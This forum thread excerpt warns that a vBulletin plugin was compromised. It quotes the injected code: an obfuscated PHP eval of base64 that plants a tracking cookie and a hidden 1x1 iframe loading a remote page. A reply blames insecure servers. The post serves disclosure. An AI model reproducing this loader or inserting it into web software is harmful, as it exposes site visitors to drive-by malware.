[Simon Lloyd]

Originally Posted by kau

FYI this plugin is a security risk. Someone was able to inject into this plugin some malware that served a cookie for dotur.

Found this when we dumped the plugin:

$muuu = "ba"."se6"."4_de"."cod"."e"; @eval($muuu("aWYgKCFpc3NldCgkX0NPT0tJRVsnRG90dXInX SkpIHsNCiR4YiA9IGFycmF5KCdNU0lFJywnTXlJRScsJ0lFJyw nRmlyZWZveCcsJ09wZXJhJywnTmV0c2NhcGUnLCdDaHJvbWUnL CdTYWZhcmknLCdNZWRpYSBDZW50ZXInKTsNCiRpZnJhbmQgPSB tdF9yYW5kKDAsMTIzKTsNCiRkb21iID0gImh0dHA6Ly93d3cua 2VrbGxhZC5jby5jYy9nYWJsLnBocCI7DQpmb3JlYWNoICgkeGI gYXMgJHhiYikgew0KaWYoc3Ryc3RyKHN0cnRvbG93ZXIoJF9TR VJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSxzdHJ0b2xvd2VyKCR 4YmIpKSkgew0KZWNobyA8PDxISkoNCjxzY3JpcHQ+DQpmdW5jd GlvbiBTZXRDb29raWUoY29va2llTmFtZSxjb29raWVDb250ZW5 0KXsNCiB2YXIgY29va2llUGF0aCA9ICcvJzsNCiB2YXIgZXhwR GF0ZT1uZXcgRGF0ZSgpOw0KIGV4cERhdGUuc2V0VGltZShleHB EYXRlLmdldFRpbWUoKSszNzI4MDAwMDApICA7DQogdmFyIGV4c GlyZXM9ZXhwRGF0ZS50b0dNVFN0cmluZygpOw0KIGRvY3VtZW5 0LmNvb2tpZT1jb29raWVOYW1lKyI9Iitlc2NhcGUoY29va2llQ 29udGVudCkrIjtwYXRoPSIrZXNjYXBlKGNvb2tpZVBhdGgpKyI 7ZXhwaXJlcz0iK2V4cGlyZXM7IA0KfQ0KU2V0Q29va2llKCJEb 3R1ciIsICJ0dXJrIik7DQo8L3NjcmlwdD4NCjxpZnJhbWUgbmF tZT0iJGlmcmFuZCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgc2Nyb 2xsaW5nPSJubyIgZnJhbWVib3JkZXI9Im5vIiBtYXJnaW53aWR 0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiBzcmM9IiRkb21iIj48L 2lmcmFtZT4NCkhKSjsNCmJyZWFrOw0KIH0NCiB9DQp9"));

Someone can only inject in to php if your server is insecure, if you look over at vbulletin.com you will see a thread dedicated to making your vbulletin & server more secure.